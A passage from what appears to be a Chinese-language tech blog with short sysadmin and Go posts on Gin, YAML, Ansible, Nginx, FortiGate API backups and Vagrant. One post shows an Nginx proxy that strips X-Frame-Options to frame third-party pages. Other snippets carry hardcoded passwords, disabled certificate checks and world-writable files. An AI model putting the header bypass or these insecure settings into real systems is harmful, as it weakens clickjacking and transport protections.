 n := []float32{120.4, -46.7, 32.50, 34.65, -67.45}
 fmt.Printf("The total is %.02f\n", sum(n))
}

func sum(s []float32) float32 {
 var t float32
 for _, v := range s {
 if t < 0 {
 t = add(t, v)
 } else {
 t = sub(t, v)
 }
 }
 return t
}

func add(a, b float32) float32 { return a + b }
func sub(a, b float32) float32 { return a - b }

使用参数-gflags="-m"运行，可显示被内联的函数

./op.go:3:6: can inline add
./op.go:7:6: can inline sub
./main.go:16:11: inlining call to sub
./main.go:14:11: inlining call to add
./main.go:7:12: inlining call to fmt.Printf

可以看到 add 方法被内联了。但是，为什么 sum 方法没有被内联呢？使用运行参数-gflags="-m -m"可以看到原因：

SQL Join 類型視覺化解說

Fri, 13 Aug 2021 16:16:54 +0800

SQL Join 類型視覺化解說

Git 小技巧：用 .mailmap 合併不同作者

Thu, 05 Aug 2021 13:42:14 +0800

Git 小技巧：用 .mailmap 合併不同作者

.mailmap 檔案 ==> Name you want to keep <email> Name you no longer want <email>

John Doe John Doe
John Doe John Doe
John Doe john doe
Max Example Max

之前

$ git shortlog -se
 1 John Doe <John@Doe.org>
 1 John Doe <John@doe.org>
 2 John Doe <john@doe.org>
 1 Max <max@test.co.uk>
 3 Max Example <hi@test.com>
 1 john doe <john@doe.org>

之後

$ git shortlog -se
 5 John Doe <john@doe.org>
 4 Max Example <hi@test.com>

Go Modules 處理 Private GIT Repository 流程

Fri, 23 Jul 2021 09:40:39 +0800

Go Modules 處理 Private GIT Repository 流程

go env -w GOPRIVATE=github.com/appleboy
1. go env -w GONOPROXY=github.com/appleboy
2. go env -w GONOSUMDB=github.com/appleboy
git config --global url."https://$USERNAME:$ACCESS_TOKEN@github.com".insteadOf "https://github.com"
1. git config --global url.ssh://git@your.private.git/.insteadOf https://your.private.git/

Gin中文文档

Thu, 22 Jul 2021 15:55:48 +0800

自定义路由日志的格式

default

[GIN-debug] POST /foo --> main.main.func1 (3 handlers)
[GIN-debug] GET /bar --> main.main.func2 (3 handlers)
[GIN-debug] GET /status --> main.main.func3 (3 handlers)

import (
 "log"
 "net/http"

 "github.com/gin-gonic/gin"
)

func main() {
 r := gin.Default()
 gin.DebugPrintRouteFunc = func(httpMethod, absolutePath, handlerName string, nuHandlers int) {
 log.Printf("endpoint %v %v %v %v\n", httpMethod, absolutePath, handlerName, nuHandlers)
 }

 r.POST("/foo", func(c *gin.Context) {
 c.JSON(http.StatusOK, "foo")
 })

 r.GET("/bar", func(c *gin.Context) {
 c.JSON(http.StatusOK, "bar")
 })

 r.GET("/status", func(c *gin.Context) {
 c.JSON(http.StatusOK, "ok")
 })

 // Listen and Server in http://0.0.0.0:8080
 r.Run()
}

Gin 运行多个服务

package main

import (
 "log"
 "net/http"
 "time"

 "github.com/gin-gonic/gin"
 "golang.org/x/sync/errgroup"
)

var (
 g errgroup.Group
)

func router01() http.Handler {
 e := gin.New()
 e.Use(gin.Recovery())
 e.GET("/", func(c *gin.Context) {
 c.JSON(
 http.StatusOK,
 gin.H{
 "code": http.StatusOK,
 "error": "Welcome server 01",
 },
 )
 })

 return e
}

func router02() http.Handler {
 e := gin.New()
 e.Use(gin.Recovery())
 e.GET("/", func(c *gin.Context) {
 c.JSON(
 http.StatusOK,
 gin.H{
 "code": http.StatusOK,
 "error": "Welcome server 02",
 },
 )
 })

 return e
}

func main() {
 server01 := &http.Server{
 Addr: ":8080",
 Handler: router01(),
 ReadTimeout: 5 * time.Second,
 WriteTimeout: 10 * time.Second,
 }

 server02 := &http.Server{
 Addr: ":8081",
 Handler: router02(),
 ReadTimeout: 5 * time.Second,
 WriteTimeout: 10 * time.Second,
 }

 g.Go(func() error {
 return server01.ListenAndServe()
 })

 g.Go(func() error {
 return server02.ListenAndServe()
 })

 if err := g.Wait(); err != nil {
 log.Fatal(err)
 }
}

XML、JSON、YAML 和 ProtoBuf 渲染（输出格式）

SecureJSON

使用 SecureJSON 可以防止 json 劫持，如果返回的数据是数组，则会默认在返回值前加上"while(1)"

在瀏覽器輸入網址並送出後，到底發生了什麼事？

Sun, 18 Jul 2021 23:45:45 +0800

在瀏覽器輸入網址並送出後，到底發生了什麼事？

我就感觉到快 —— zsh 和 oh my zsh 冷启动速度优化

Thu, 15 Jul 2021 18:19:06 +0800

我就感觉到快 —— zsh 和 oh my zsh 冷启动速度优化

Profiling

# .zshrc
zmodload zsh/zprof

$ /bin/zsh
$ zprof

num calls time self name
-----------------------------------------------------------------------------------
 1) 1 395.66 395.66 33.10% 395.59 395.59 33.09% _zsh_nvm_auto_use
 2) 1 216.22 216.22 18.09% 216.13 216.13 18.08% nvm_die_on_prefix
 3) 1 648.00 648.00 54.20% 168.85 168.85 14.12% nvm_auto
 4) 2 479.15 239.57 40.08% 160.50 80.25 13.43% nvm
 5) 1 102.30 102.30 8.56% 84.99 84.99 7.11% nvm_ensure_version_installed
 6) 2 51.21 25.60 4.28% 29.55 14.78 2.47% compinit
 7) 1 680.18 680.18 56.89% 22.17 22.17 1.85% _zsh_nvm_load
 8) 2 21.66 10.83 1.81% 21.66 10.83 1.81% compaudit
 9) 1 17.31 17.31 1.45% 17.31 17.31 1.45% nvm_is_version_installed
10) 193 17.43 0.09 1.46% 14.50 0.08 1.21% _zsh_autosuggest_bind_widget
[Redacted]

zprof 模块只能获取每个 zsh 函数的用时，因此适合找出拖累 zsh 冷启动的 oh my zsh 的插件。如果要获取完整的 .zshrc 性能分析，应该使用 xtrace。在 .zshrc 开头添加如下命令

[網友好文]Cisco UCS CIMC系列文章

Thu, 15 Jul 2021 17:16:52 +0800

SQL 查詢不是從 SELECT 開始

Wed, 14 Jul 2021 18:11:46 +0800

SQL 查詢不是從 SELECT 開始

SQL 查詢實際執行順序

FROM/JOIN 以及所有 ON 條件
WHERE
GROUP BY
HAVING
SELECT（包含視窗函式）
ORDER BY
LIMIT

多數程式設計師不知道的 6 個 YAML 特性

Wed, 07 Jul 2021 15:08:31 +0800

多數程式設計師不知道的 6 個 YAML 特性

還有更多類似的危險例子，正如 Tom Ritchford 所指出

013 會被對應為 11，因為前導 0 會觸發八進位表示法
4:30 會被對應為 270。Max Werner Kaul-Gothe 與 Niklas Baumstark 告訴我，這會被自動轉換為分鐘（或秒）並被視為一段持續時間：4*60 + 30 = 270。有趣的是，這個模式在 1:1:1:1:1:1:1:1:4:30 仍然「可運作」。

多行字串

mail_signature: |
 Martin Thoma
 Tel. +49 123 4567

{ "mail_signature": "Martin Thoma\nTel. +49 123 4567" }

錨點

& 會定義一個名為 emailAddress 的變數，值為 "info@example.de"。* 則表示接著的是變數名稱。

email: &emailAddress "info@example.de"
id: *emailAddress

{ "email": "info@example.de", "id": "info@example.de" }

也可以對映射這樣做

foo: &default_settings
 db:
 host: localhost
 name: main_db
 port: 1337
 email:
 admin: admin@example.com
prod:
 <<: *default_settings
 app:
 port: 80
dev: *default_settings

{
 "foo": {
 "db": { "host": "localhost", "name": "main_db", "port": 1337 },
 "email": { "admin": "admin@example.com" }
 },
 "prod": {
 "app": { "port": 80 },
 "db": { "host": "localhost", "name": "main_db", "port": 1337 },
 "email": { "admin": "admin@example.com" }
 },
 "dev": {
 "db": { "host": "localhost", "name": "main_db", "port": 1337 },
 "email": { "admin": "admin@example.com" }
 }
}

型別轉換

雙驚嘆號 !! 在 YAML 中有特殊意義。它稱為「secondary tag handle」，是 !tag:yaml.org,2002 的簡寫。

用 Markdown 繪製圖表

Tue, 29 Jun 2021 15:55:35 +0800

用 Markdown 繪製圖表

ansible.builtin.slurp - 讀取檔案內容

Mon, 31 May 2021 17:15:04 +0800

ansible.builtin.slurp - 讀取檔案內容

---
- name: Use HTTP POST to upload file
 hosts: all

 tasks:
 - name: Read binary file content
 slurp:
 path: "/bin/ls"
 register: bin_file

 - name: Send HTTP POST Request
 uri:
 url: "https://your_server/upload.php"
 headers:
 Accept: "application/json"
 Content-Type: "application/octet-stream"
 method: POST
 validate_certs: false
 body: "{{ bin_file.content }}"
 status_code:
 - 200
 - 201
 register: upload_result

 - name: Display upload_result
 debug:
 var: upload_result

使用 slurp，就可以避掉 lookup(‘file’) 的限制。

可以讀取受控端主機上的檔案，也可以利用 delegate_to: localhost 來讀取主控端主機上的檔案。
可以讀取二進位檔案來做進一步處理，例如做 base64 編碼

Nginx - request_time和upstream_response_time详解

Fri, 14 May 2021 16:04:04 +0800

Nginx - request_time 和 upstream_response_time 详解

time definition

request_time

从接受用户请求的第一个字节到发送完响应数据的时间，即$request_time 包括接收客户端请求数据的时间、后端程序响应的时间、发送响应数据给客户端的时间(不包含写日志的时间)。

upstream_response_time

从 Nginx 向后端建立连接开始到接受完数据然后关闭连接为止的时间

upstream_connect_time

跟后端 server 建立连接的时间，如果是到后端使用了加密的协议，该时间将包括握手的时间。

upstream_header_time

接收后端 server 响应头的时间

如果把整个过程补充起来的话应该是：

［1用户请求］［2建立 Nginx 连接］［3发送响应］［4接收响应］［5关闭 Nginx 连接］

那么 upstream_response_time 就是 2+3+4+5
但是一般这里面可以认为 ［5关闭 Nginx 连接］ 的耗时接近 0
所以 upstream_response_time 实际上就是 2+3+4
而 request_time 是 1+2+3+4
二者之间相差的就是 ［1用户请求］的时间。

upstream_response_time 比 request_time 大

https://forum.nginx.org/read.php?21,284448,284450#msg-284450

$upstream_response_time 由 clock_gettime(CLOCK_MONOTONIC_COARSE)计算，默认情况下，它可以过去 4 毫秒，相反，$request_time 由 gettimeofday()计算。所以最终 upstream_response_time 可能比 response_time 更大。

在 bash 腳本中使用 here-doc 將資料寫入檔案

Fri, 07 May 2021 11:37:35 +0800

在 bash 腳本中使用 here-doc 將資料寫入檔案

使用 `EOF<<-` 讓 here-doc 在 shell 腳本中可自然縮排

command <<-EOF
 msg1
 msg2
 $var on line
EOF

使用 `'EOF'` 停用路徑/參數/變數展開、命令替換與算術展開

#!/bin/bash
OUT=/tmp/output.txt

echo "Starting my script..."
echo "Doing something..."
# No parameter and variable expansion, command substitution, arithmetic expansion, or pathname expansion is performed on word.
# If any part of word is quoted, the delimiter is the result of quote removal on word, and the lines in the here-document
# are not expanded. So EOF is quoted as follows
cat <<'EOF' >$OUT
 Status of backup as on $(date)
 Backing up files $HOME and /etc/
EOF

echo "Starting backup using rsync..."

升級到 Zabbix 5 後資料庫升級失敗

Mon, 03 May 2021 16:33:23 +0800

高效能 Go 工作坊

Wed, 28 Apr 2021 16:37:05 +0800

高效能 Go 工作坊

通过 Nginx 绕过 X-Frame-Options 限制

Mon, 26 Apr 2021 17:39:33 +0800

通过 Nginx 绕过 X-Frame-Options 限制

X-Frame-Options HTTP 响应头是用来给浏览器指示允许一个页面是否可以在 <frame>, <iframe>, <embed> 或者 <object> 中展现的标记。站点可以通过确保网站没有被嵌入到别人的站点里面，从而避免 Clickjacking 攻击。通过 Nginx 的作为正向代理，我们可以绕过 X-Frame-Options 限制成功的将第三方网页嵌入到自己的页面中。

X-Frame-Options 响应头有三个可能的值：

deny: 表示该页面不允许在 frame 中展示，即便是在相同域名的页面中嵌套也不允许。
sameorigin: 表示该页面可以在相同域名页面的 frame 中展示。
allow-from uri: 表示该页面可以在指定来源的 frame 中展示。

在 Chrome 尝试加载 frame 的内容时，如果 X-Frame-Options 响应头设置为禁止访问，那么 Chrome 会在控制台中显示如下错误。 Refuse to display 'http://192.168.20.101:8080' in a frame because it set 'X-Frame-Options' to 'deny'.

server {
 listen 8080;
 location / {
 proxy_hide_header X-Frame-Options;
 proxy_pass http://{target};
 }
}

这也当请求 http://{proxy_server}:8080 时，nginx 会做代理转发到 http://{target}，同时在返回结果的时候会隐藏掉 X-Frame-Options 相应头，这样我们自己的网页就能正常通过 iFrame 载入目标网页了。

Setting up JWT Authentication

Fri, 23 Apr 2021 11:13:34 +0800

SSH 失敗錯誤：fatal: daemon() failed: No such device

Thu, 04 Mar 2021 18:48:39 +0800

SSH 失敗錯誤：fatal: daemon() failed: No such device

/var/log/secure

Oct 10 10:58:05 vps sshd[23799]: fatal: daemon() failed: No such device

# rm -vf /dev/null
removed `/dev/null`
-bash-3.2# mknod /dev/null c 1 3
Started SSH and the SSH started responding:

# service sshd restart
Stopping sshd: [ OK ]
Starting sshd: [ OK ]
-bash-3.2# service sshd status
openssh-daemon (pid 30608) is running…

GitLab 啟用 Project integration - Mattermost slash commands

Thu, 28 Jan 2021 11:50:41 +0800

GitLab 啟用 Project integration - Mattermost slash commands

Nginx SSL/TLS configuration with TLSv1.2 and TLSv1.3 - ECDHE and strong ciphers suite (Openssl 1.1.1)

Fri, 22 Jan 2021 13:49:17 +0800

Nginx SSL/TLS configuration with TLSv1.2 and TLSv1.3 - ECDHE and strong ciphers suite (Openssl 1.1.1)

ssl.conf

##
# SSL Settings (TLSv1.2 and TLSv1.3)
##
ssl_protocols TLSv1.2 TLSv1.3;
ssl_ciphers 'TLS13+AESGCM+AES128:EECDH+AES128';
ssl_prefer_server_ciphers on;
ssl_session_cache shared:SSL:50m;
ssl_session_timeout 1d;
ssl_session_tickets off;
ssl_ecdh_curve X25519:sect571r1:secp521r1:secp384r1

universal-ssl.conf

##
# SSL Settings (TLSv1.0 + TLSv1.1 + TLSv1.2 + TLSv1.3)
##
ssl_protocols TLSv1 TLSv1.1 TLSv1.2 TLSv1.3;
ssl_ciphers 'TLS13+AESG+AES128:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES25GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:DHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA256:DHE-ECDSA-AES128-SHA:ECDHE-RSA-AES256-SHA384:ECDHE-RSA-AES128-SHA:ECDHE-ECDSA-AES256-SHA384:ECDHE-ECDSA-AES256-SHA:ECDHE-RSA-AES256-SHA:DHE-R-AES128-SHA256:DHE-RSA-AES128-SHA:DHE-RSA-AES256-SHA256:DHE-RSA-AES256-SHA:ECDHE-ECDSA-DES-CBC3-SHA:ECDHE-RSA-DES-CBC3-SHA:EDH-RSA-DES-CBC3-S:AES128-GCM-SHA256:AES256-GCM-SHA384:AES128-SHA256:AES256-SHA256:AES128-SHA:AES256-SHA:DES-CBC3-SHA:!DSS';
ssl_prefer_server_ciphers on;
ssl_session_cache shared:SSL:50m;
ssl_session_timeout 1d;
ssl_session_tickets off;
ssl_ecdh_curve X25519:sect571r1:secp521r1:secp384r1;

ZSH 自动读取 macOS 系统代理配置并设置环境变量

Mon, 11 Jan 2021 14:50:11 +0800

ZSH 自动读取 macOS 系统代理配置并设置环境变量

$ system_profiler SPNetworkDataType # 获取完整网络配置信息

$ networksetup -listallnetworkservices # 列举所有网络设备
$ networksetup -getwebproxy Wi-Fi # 获取特定网络设备的系统代理配置

$ scutil --proxy # 获取当前已启用的代理配置，是对 system_profiler 的封装

WSL 2 的 .wslconfig 設定檔說明

Wed, 30 Dec 2020 21:24:12 +0800

安裝 WSL 2 的步驟：

加入 Windows Insider Program（此步驟不可省略）
啟用 WSL 必要元件
安裝 Linux 發行版本
設定 WSL 2 支援的 Linux 發行版本
WSL 2 問題排除：啟用壓縮功能的虛擬磁碟檔案無法轉換成 WSL 2 架構
安裝及啟動 Docker
安裝 Docker Desktop v2.2.1.0

# 啟用 WSL 必要元件
dism.exe /online /enable-feature /featurename:Microsoft-Windows-Subsystem-Linux /all /norestart
dism.exe /online /enable-feature /featurename:VirtualMachinePlatform /all /norestart

# 設定 WSL 2 支援的 Linux 發行版本
wsl --set-version ubuntu 2
wsl --set-default-version 2

編輯 %UserProfile%\.wslconfig 檔案

第 19 天 BGP 協定（1）

Wed, 30 Dec 2020 20:00:33 +0800

使用 oh-my-posh 美化 PowerShell 樣式

Thu, 10 Dec 2020 13:15:59 +0800

使用 oh-my-posh 美化 PowerShell 樣式

# 這會從 PowerShell Gallery 下載並安裝 posh-git 和 oh-my-posh 這兩個模組，前者是在命令列中顯示 Git 專案的相關資訊，後者則是美美的樣式套件
Install-Module posh-git -Scope CurrentUser
Install-Module oh-my-posh -Scope CurrentUser


# 接著我們要修改 PowerShell 啟動時所載入的設定檔，在 PowerShell 中輸入 $PROFILE 可得到當前使用者啟動 PowerShell 時，會載入的個人設定檔位置。
# 你的電腦可能沒有這個實體檔案，這時可以執行下面的指令，如果沒有該設定檔，則建立一個，然後使用 notepad 來開啟該設定檔。
if (!(Test-Path -Path $PROFILE )) { New-Item -Type File -Path $PROFILE -Force }
notepad $PROFILE

最後在該設定檔中加入下列指令

Import-Module posh-git
Import-Module oh-my-posh
Set-Theme Paradox

oh-my-posh 內建了很多樣式，你也可以使用 Get-Theme 這個 Cmdlet 指令取得 oh-my-posh 有提供的所有樣式及相關檔案位置

冰山一角的駭客工具介紹

Tue, 08 Dec 2020 21:50:47 +0800

冰山一角的駭客工具介紹

用 IIS、.NET 4.5 與 Octopus Deploy 建立 Windows Server Vagrant box

Thu, 03 Dec 2020 12:39:01 +0800

Ansible Network 的新 LibSSH 連線外掛取代 Paramiko，並支援 FIPS 模式

Wed, 25 Nov 2020 21:09:50 +0800

Ansible Network 的新 LibSSH 連線外掛取代 Paramiko，並支援 FIPS 模式

切換 Ansible Playbook 使用 LibSSH

# 安裝 LibSSH
pip install ansible-pylibssh

在 Ansible Playbook 中使用 LibSSH

方法 1. 在專案的 ansible.cfg 檔案中設定 ssh_type 參數使用 libssh

[persistent_connection]
ssh_type = libssh

方法 2: 設定 ANSIBLE_NETWORK_CLI_SSH_TYPE 環境變數

$ export ANSIBLE_NETWORK_CLI_SSH_TYPE=libssh

方法 3: 在 play 等級的 playbook 中設定 ansible_network_cli_ssh_type 為 libssh

用來測試 libssh 設定的 Playbook

- hosts: "changeme"
 gather_facts: no
 connection: ansible.netcommon.network_cli
 vars:
 ansible_network_os: cisco.ios.ios
 ansible_user: "changeme"
 ansible_password: "changeme"
 ansible_network_cli_ssh_type: libssh
 tasks:
 - name: run show version command
 ansible.netcommon.cli_command:
 command: show version

 - name: run show version command
 ansible.netcommon.cli_command:
 command: show interfaces

CentOS 7 掛載 Synology NAS 資料夾

Mon, 09 Nov 2020 12:12:32 +0800

CentOS 7 掛載 Synology NAS 資料夾

MacBook 设置 SSLKEYLOGFILE 环境变量解密 HTTPS 流量

Fri, 06 Nov 2020 20:02:54 +0800

MacBook 设置 SSLKEYLOGFILE 环境变量解密 HTTPS 流量

创建 keylogfile

mkdir ~/sslkeylogfile && touch ~/sslkeylogfile/keylogfile.log # 创建 keylogfile.log 文件
sudo chmod 777 ~/sslkeylogfile/keylogfile.log # 更改权限，确保 chrome 启动时能写入数据

配置环境变量

vim ~/.zshrc # 打开配置文件
export SSLKEYLOGFILE=~/sslkeylogfile/keylogfile.log # 配置环境变量
source ~/.zshrc # 使配置文件生效

配置 wireshark

perferences -> Protocols -> TLS

配置 TSL debug file 记录解密日志
配置 (Pre)-Master-Secret log filename 路径为 keylogfile.log 的绝对路径

使用 termial 启动 chrome

open -a 'Google Chrome' https://www.baidu.com/

注意：从 termial 启动 chrome，为了确保 chrome 可以读取 SSLKEYLOGFILE 环境变量。

使用 Ansible 透過 RestAPI 備份 FortiOS 設定

Tue, 03 Nov 2020 17:59:24 +0800

建立存取設定檔

FGTAWS0004BE1ADE # config system accprofile
FGTAWS0004BE1ADE (accprofile) # edit readOnly
new entry 'readOnly' added
FGTAWS0004BE1ADE (readOnly) # set sysgrp read
FGTAWS0004BE1ADE (readOnly) # end

在 Fortigate 建立 API 使用者

FGTAWS0004BE1ADE # config system api-user
FGTAWS0004BE1ADE (api-user) # edit api-admin
new entry 'api-admin' added
FGTAWS0004BE1ADE (api-admin) # set accprofile "readOnly"
FGTAWS0004BE1ADE (api-admin) # set vdom root
FGTAWS0004BE1ADE (api-admin) # config trusthost
FGTAWS0004BE1ADE (trusthost) # edit 1
new entry '1' added
FGTAWS0004BE1ADE (1) # set ipv4-trusthost 'ip_address_of_your_machine' 255.255.255.255
FGTAWS0004BE1ADE (1) # end
FGTAWS0004BE1ADE (api-admin) # end

產生 API token

FGTAWS0004BE1ADE # execute api-user generate-key api-admin
New API key: 'your_api_token'
NOTE: The bearer of this API key will be granted all access privileges assigned to the api-user api-admin.

測試

# fortigate.py
import requests
import urllib3 # disable security warning for SSL certificate
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) # disable security warning for SSL certificate


def config_download(ipaddr, api_token, filename='backup.conf'):
 '''
 input: ipaddr(string) - target ip address of fortigate
 input: api_token(string) - api_token for api user(accprofile should have sysgrp.mnt)
 input: filename(string) - file name of the config to be saved. default backup.conf
 output: True if backup successfule. False if not successful.
 Tested on: Fortigate OnDemand on AWS - FortiOS6.0.4
 '''
 base_url = f'https://{ipaddr}/api/v2/'
 headers = {'Authorization': f'Bearer {api_token}'}
 params = {'scope': 'global'}
 uri = 'monitor/system/config/backup/'

 rep = requests.get(base_url + uri, headers=headers, params=params, verify=False)

 if rep.status_code != 200:
 print(f'Something went wrong. status_code: {rep.status_code}')
 return False

 with open(filename, 'w') as f:
 f.write(rep.text)

 return True

>>> import fortigate
>>>
>>> ip_addr = 'Fortigate_IP_Address'
>>> api_token = 'API_TOKEN'
>>>
>>> if (fortigate.config_download(ip_addr, api_token, 'backup20190215.conf')):
... print('Done!')
... else:
... print('Error!!')
...
Done!
>>>
>>> with open('backup20190215.conf', 'r') as f:
... f.readline()
...
'#config-version=FGTAWS-6.0.4-FW-build0231-190107:opmode=0:vdom=0:user=api-admin\n'
>>>

設定 Ansible inventory 與 playbook

$ cat hosts
[fortigate]
x.x.x.x access_token=w4q9qtfbGry3Nbc40kHjsk9mxG****
y.y.y.y access_token=tfy8c9b8Nxw6N3Q5Q5bg9z69dn****

$ cat fortigate_backup.yml
 - name: fortigate config backup
 connection: local
 hosts: fortigate

 tasks:
 - name: get current config
 uri:
 url: 'https://{{ ansible_host }}/api/v2/monitor/system/config/backup/?scope=global&access_token={{ access_token }}'
 return_content: yes
 validate_certs: no
 register: current_config

 - name: write config to local file
 local_action: copy content={{ current_config.content }} dest=./{{ inventory_hostname }}_{{ ansible_date_time.date }}.txt

2020年，最新NGINX的ngx_http_geoip2模块以精准禁止特定国家或者地区IP访问

Tue, 27 Oct 2020 15:44:48 +0800

安装 geoip2 lib

cd /usr/local/src
rm -f libmaxminddb-1.4.2.tar.gz
wget https://github.com/maxmind/libmaxminddb/releases/download/1.4.2/libmaxminddb-1.4.2.tar.gz
tar -xzf libmaxminddb-1.4.2.tar.gz
cd libmaxminddb-1.4.2
yum install gcc gcc-c++ make -y
./configure
make
make check
sudo make install

echo '/usr/local/lib' > /etc/ld.so.conf.d/geoip.conf
sudo ldconfig

下载 ngx_http_geoip2_module 模块

cd /usr/local/src
wget https://github.com/leev/ngx_http_geoip2_module/archive/3.3.tar.gz
tar -xzf 3.3.tar.gz
mv ngx_http_geoip2_module-3.3 ngx_http_geoip2_module

# nginx集成
cd /usr/local/src
wget http://nginx.org/download/nginx-1.16.1.tar.gz
tar -zxf nginx-1.16.1.tar.gz
cd nginx-1.16.1
useradd -M -s /sbin/nologin www


yum install gcc gcc-c++ make pcre-devel zlib-devel openssl-devel -y
./configure --user=www --group=www --prefix=/usr/local/nginx \
--with-ld-opt="-Wl,-rpath -Wl,/usr/local/lib" \
--with-http_sub_module \
--with-http_realip_module \
--with-http_gzip_static_module \
--with-http_ssl_module \
--with-http_v2_module \
--add-module=/usr/local/src/ngx_http_geoip2_module

make
make install

geoip2 IP 地址库下载

2020 年最新 GeoLite2-City.mmdb 无法直接下载，必须注册 maxmind 账号

使用 Nginx HTTPS 與 Basic Auth 反向代理 VMware ESXi 6.5 修復 VMRC /screen

Sat, 17 Oct 2020 12:31:02 +0800

使用 Nginx HTTPS 與 Basic Auth 反向代理 VMware ESXi 6.5 修復 VMRC /screen

server {
 listen 80;
 server_name esxi.hackion.com;
 return 301 https://$server_name$request_uri;
}

server {
 listen 443 ssl;
 server_name esxi.hackion.com;

 ssl_certificate /mycert.crt;
 ssl_certificate_key /mykey.key;

 location / {
 auth_basic "Restricted Content";
 auth_basic_user_file /etc/nginx/.htpasswd;

 proxy_set_header Upgrade $http_upgrade;
 proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
 proxy_set_header Host $host;
 proxy_set_header X-Real-IP $remote_addr;
 proxy_set_header Origin '';
 proxy_set_header Authorization ''; #Don't pass the Nginx Basic Auth to ESXi or it will break VMRC.
 proxy_pass_header X-XSRF-TOKEN;
 proxy_pass https://esxi_server;
 proxy_send_timeout 300;
 proxy_read_timeout 300;
 send_timeout 300;
 client_max_body_size 1000m;

 # enables WS support
 proxy_http_version 1.1;
 proxy_set_header Upgrade $http_upgrade;
 proxy_set_header Connection "upgrade";
 }
}

server {
 listen 443 ssl http2;

 # ssl_certificate and ssl_certificate_key are required
 ssl_certificate /etc/letsencrypt/live/myletsencryptdomain/fullchain.pem;
 ssl_certificate_key /etc/letsencrypt/live/myletsencryptdomain/privkey.pem;

 include /etc/nginx/snippets/ssl-params.conf;
 # removed DH params as my ssl-params.conf specifies to only use ECDHE key exchange.

 server_name fqdn.extern;

 location / {
 proxy_set_header Host $http_host;
 proxy_set_header X-Real-IP $remote_addr;

 proxy_ssl_verify off; # No need on isolated LAN
 proxy_pass https://vcenter.ip; # esxi IP Address

 proxy_http_version 1.1;
 proxy_set_header Upgrade $http_upgrade;
 proxy_set_header Connection "upgrade";

 proxy_buffering off;
 client_max_body_size 0;
 proxy_read_timeout 36000s;

 proxy_redirect https://fqdn.local/ https://fqdn.extern/; # read comment below
 # replace vcenter-hostname with your actual vcenter's hostname, and esxi with your nginx's server_name.
 }

 location /websso/SAML2 {
 proxy_set_header Host fqdn.local; # your actual vcenter's hostname
 proxy_set_header X-Real-IP $remote_addr;

 proxy_ssl_verify off; # No need on isolated LAN
 proxy_pass https://vcenter.ip; # esxi IP Address

 proxy_http_version 1.1;
 proxy_set_header Upgrade $http_upgrade;
 proxy_set_header Connection "upgrade";

 proxy_buffering off;
 client_max_body_size 0;
 proxy_read_timeout 36000s;
 proxy_ssl_session_reuse on;

 proxy_redirect https://fqdn.local/ https://fqdn.extern/; # read comment below
 # replace vcenter-hostname with your actual vcenter's hostname, and esxi with your nginx's server_name.
 }
}

針對特定 Commit Message 觸發 GitHub Actions

Sun, 11 Oct 2020 23:13:22 +0800

針對特定 Commit Message 觸發 GitHub Actions

現在，只要我推送 wip commit 或任何包含 wip 的 commit，就會在 GitHub Actions 中被標記為跳過。

jobs:
 format:
 runs-on: ubuntu-latest
 if: "! contains(github.event.head_commit.message, 'wip')"

任何包含 [build] 的 commit 會觸發這些工作，其他則會被跳過。

jobs:
 format:
 runs-on: ubuntu-latest
 if: "contains(github.event.head_commit.message, '[build]')"

使用 Vagrant 在 vSphere 部署多台 VM

Mon, 05 Oct 2020 09:53:03 +0800

使用 Vagrant 在 vSphere 部署多台 VM

vm1 = { 'name' => "PhotonVM1", 'ip' => "192.168.5.224" }
vm2 = { 'name' => "PhotonVM2", 'ip' => "192.168.5.225" }
vms = [ vm1, vm2]

Vagrant.configure(2) do |config|
 vms.each do |node|
 vm_name = node['name']
 vm_ip = node['ip']
 config.vm.define vm_name do |node_config|
 node_config.vm.network 'private_network', ip: "#{vm_ip}"
 node_config.vm.box = "dummy"
 node_config.vm.box_url = "./example_box/dummy.box"
 node_config.vm.provider :vsphere do |vsphere|
 vsphere.host = 'vc01.testlab.local'
 vsphere.compute_resource_name = 'esxi01.testlab.local'
 vsphere.name = vm_name
 vsphere.customization_spec_name = 'centos66'
 vsphere.template_name = 'PhotonTemplate'
 vsphere.user = 'administrator@vsphere.local'
 vsphere.password = 'password'
 vsphere.insecure = true
 end
 end
 end
end

Vagrantfile and Provider

Fri, 02 Oct 2020 19:41:23 +0800

用以下這個範例你只要使用 Vagrant up 加上 provider 參數，就可開啟不同來源的機器

例如我要開啟 Vsphere 的機器，我只要下 vagrant up --provider=vsphere

要開 AWS 的機器，我只要下 vagrant up --provider=aws

VAGRANTFILE_API_VERSION = "2"

Vagrant.configure(VAGRANTFILE_API_VERSION) do |config|
 # 我們定義一個 Ubuntu 的機器
 # box 的需求是對於 local 的 VM 才需要的
 # 所以在 provider 是 vmware_fusion 或 Virtualbox 時，才會用到這個設定
 config.vm.box = "hashicorp/precise64"

 # vmware_fusion
 config.vm.provider "vmware_fusion" do |v, override|
 override.vm.box = "precise64_vmware"
 v.gui = false
 end

 # vsphere
 config.vm.provider :vsphere do |vsphere|
 # 對於私有雲及公有雲，要clone 的vm 是儲存在雲端上的
 # 所以 box 使用 dummy box 來達到這個目的
 vsphere.vm.box = "nkhasanov/vsphere-simple"
 vsphere.host = 'YOURIP'
 vsphere.compute_resource_name = 'YOUR DATACENTER'
 vsphere.resource_pool_name = 'YOUR RESOURCE POOL'
 vsphere.insecure = true
 vsphere.template_name = 'VM TEMPLATE'
 vsphere.name = "#{YOUR_NAME}-test-machine"
 vsphere.user = 'administrator'
 vsphere.password = '$p1unK_Lab'
 vsphere.vm_base_path = 'vmware_template'
 vsphere.linked_clone = true
 end

 # virtual box
 config.vm.provider "virtualbox" do |vb|
 vb.gui = false
 end

 # aws
 config.vm.provider :aws do |aws, override|
 # aws configurations
 aws.access_key_id = "#{YOUR_AWS_ACCESS_KEY_ID}"
 aws.secret_access_key = "#{YOUR_AWS_ACCESS_KEY}"
 aws.keypair_name = "#{YOUR_NAME}"
 aws.security_groups = "#{YOUR_NAME}"
 aws.instance_type = "t2.small"
 aws.region = "us-east-1"
 # ubuntu 14.04 x64
 aws.ami = "ami-864d84ee"

 # override info
 override.ssh.username = "ubuntu"
